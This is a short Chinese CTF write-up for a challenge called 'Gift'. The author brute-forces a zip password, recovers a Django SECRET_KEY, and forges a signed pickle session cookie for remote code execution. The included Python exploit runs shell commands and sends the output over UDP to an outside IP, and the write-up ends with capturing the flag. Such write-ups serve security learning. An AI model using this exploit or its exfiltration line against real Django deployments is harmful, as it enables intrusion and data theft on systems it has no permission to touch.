Gift

  • 打开页面一个图片,查看源码有个?user=123。试一试
  • 发现什么也没有。
  • 扫描目录扫出来了个/admin
  • 打开发现是hello 123
  • 联想之前是user=123,试一试user=Yix1a
  • 再打开admin发现变成了hello Yix1a.有意思
  • 然后没线索了,回看题目内容:

c62s的生日礼物

  • 用github搜索这个Users,发现一个django项目。里面有个gift.zip.
  • 有密码需要生日才能打开。。
  • 直接用Advanced Archive Password Recovery爆破。8位[0-9]得出密码为20001111
  • 打开得到SECERT_KEY 为oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci
  • 熟悉django 的都知道这个django很重要的保密项
  • 找相关漏洞。
  • 得到一个任意代码执行漏洞
# coding: utf-8
# Django-1.5.12
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings

settings.configure(SECRET_KEY='oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci') #得到的SECRET_KEY


class GetShellWithPython(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.call,    #用于连接指定的远程服务器和端口并传送命令的结果
                (['python','-c',
                  'import socket, os;c=os.popen("ls").read().strip();'
                  's=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);'
                  's.sendto(c, ("45.63.40.88", 1000));'],))   #远程服务器和端口


sess = signing.dumps(
    obj=GetShellWithPython(),
    serializer=PickleSerializer,
    salt='django.contrib.sessions.backends.signed_cookies'
)
print sess #sess为sessionid之类的东西,得到sess发出去。


  • Gift_第1张图片
    图片.png
  • 图片.png
  • 改成cat flag.txt 就得到flag{20d0b62f-0689-4cbf-a1a2-6566c4d9ee26}
  • 注意点--nc用ubuntu接受成功了。用centos下载的nc完全不行

你可能感兴趣的:(Gift)